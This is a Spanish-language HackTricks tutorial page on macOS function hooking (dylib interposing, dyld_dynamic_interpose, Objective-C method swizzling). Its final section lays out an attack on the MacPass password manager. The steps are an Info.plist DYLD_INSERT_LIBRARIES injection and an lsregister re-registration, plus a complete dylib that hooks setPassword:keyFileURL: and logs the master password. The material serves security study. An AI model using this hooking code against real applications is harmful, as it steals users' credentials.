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Interposición de Funciones

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Interposición de Funciones

Crea una dylib con una sección de __interpose (__DATA___interpose) (o una sección marcada con S_INTERPOSING) que contenga tuplas de punteros de funciones que se refieran a las funciones originales y de reemplazo.

Luego, inyecta la dylib con DYLD_INSERT_LIBRARIES (la interposición debe ocurrir antes de que la aplicación principal se cargue). Obviamente, las restricciones aplicadas al uso de DYLD_INSERT_LIBRARIES también se aplican aquí.

Interponer printf

{% tabs %} {% tab title="interpose.c" %} {% code title="interpose.c" overflow="wrap" %}

// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };

{% endcode %} {% endtab %}

{% tab title="hello.c" %}

//gcc hello.c -o hello
#include <stdio.h>

int main() {
printf("Hello World!\n");
return 0;
}

{% endtab %}

{% tab title="interpose2.c" %} {% code overflow="wrap" %}

// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib

#include <stdio.h>

#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};

int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}

DYLD_INTERPOSE(my_printf,printf);

{% endcode %} {% endtab %} {% endtabs %}

DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

{% hint style="warning" %} La variable de entorno DYLD_PRINT_INTERPOSTING se puede utilizar para depurar el interposicionamiento e imprimir el proceso de interposición. {% endhint %}

También hay que tener en cuenta que el interposicionamiento ocurre entre el proceso y las bibliotecas cargadas, no funciona con la caché de bibliotecas compartidas.

Interposición Dinámica

Ahora también es posible interponer una función dinámicamente utilizando la función dyld_dynamic_interpose. Esto permite interponer programáticamente una función en tiempo de ejecución en lugar de hacerlo solo desde el principio.

Solo es necesario indicar los pares de la función a reemplazar y la función de reemplazo.

struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);

Método Swizzling

En ObjectiveC así es como se llama a un método: [instanciaMiClase nombreDelMetodoPrimerParam:param1 segundoParam:param2]

Se necesita el objeto, el método y los parámetros. Y cuando se llama a un método se envía un mensaje utilizando la función objc_msgSend: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), valor1, valor2);

El objeto es someObject, el método es @selector(method1p1:p2:) y los argumentos son valor1, valor2.

Siguiendo las estructuras del objeto, es posible llegar a un array de métodos donde se encuentran los nombres y los punteros al código del método.

{% hint style="danger" %} Ten en cuenta que debido a que los métodos y clases se acceden según sus nombres, esta información se almacena en el binario, por lo que es posible recuperarla con otool -ov </ruta/bin> o class-dump </ruta/bin> {% endhint %}

Accediendo a los métodos en bruto

Es posible acceder a la información de los métodos como el nombre, el número de parámetros o la dirección como en el siguiente ejemplo:

{% code overflow="wrap" %}

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

Cambio de métodos con method_exchangeImplementations

La función method_exchangeImplementations permite cambiar la dirección de la implementación de una función por otra.

{% hint style="danger" %} Por lo tanto, cuando se llama a una función, lo que se ejecuta es la otra. {% endhint %}

{% code overflow="wrap" %}

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

{% endcode %}

{% hint style="warning" %} En este caso, si el código de implementación del método legítimo verifica el nombre del método, podría detectar este intercambio y evitar que se ejecute.

La siguiente técnica no tiene esta restricción. {% endhint %}

Intercambio de métodos con method_setImplementation

El formato anterior es extraño porque estás cambiando la implementación de 2 métodos uno por el otro. Usando la función method_setImplementation puedes cambiar la implementación de un método por la de otro.

Solo recuerda almacenar la dirección de la implementación del original si vas a llamarlo desde la nueva implementación antes de sobrescribirla, ya que luego será mucho más complicado localizar esa dirección.

{% code overflow="wrap" %}

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

{% endcode %}

Metodología de Ataque de Hooking

En esta página se discutieron diferentes formas de enganchar funciones. Sin embargo, implicaban ejecutar código dentro del proceso para atacar.

Para lograrlo, la técnica más fácil de usar es inyectar un Dyld a través de variables de entorno o secuestrar. Sin embargo, supongo que esto también se podría hacer a través de inyección de proceso Dylib.

Sin embargo, ambas opciones están limitadas a binarios/procesos no protegidos. Consulta cada técnica para obtener más información sobre las limitaciones.

Sin embargo, un ataque de enganche de funciones es muy específico, un atacante hará esto para robar información sensible desde dentro de un proceso (si no, simplemente haría un ataque de inyección de proceso). Y esta información sensible podría estar ubicada en aplicaciones descargadas por el usuario, como MacPass.

Por lo tanto, el vector del atacante sería encontrar una vulnerabilidad o eliminar la firma de la aplicación, inyectar la variable de entorno DYLD_INSERT_LIBRARIES a través del Info.plist de la aplicación agregando algo como:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

y luego vuelva a registrar la aplicación:

{% code overflow="wrap" %}

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

{% endcode %}

Agrega en esa biblioteca el código de enganche para exfiltrar la información: Contraseñas, mensajes...

{% hint style="danger" %} Ten en cuenta que en las versiones más recientes de macOS, si eliminas la firma del binario de la aplicación y esta fue ejecutada previamente, macOS ya no ejecutará la aplicación. {% endhint %}

Ejemplo de biblioteca

{% code overflow="wrap" %}

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

{% endcode %}

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: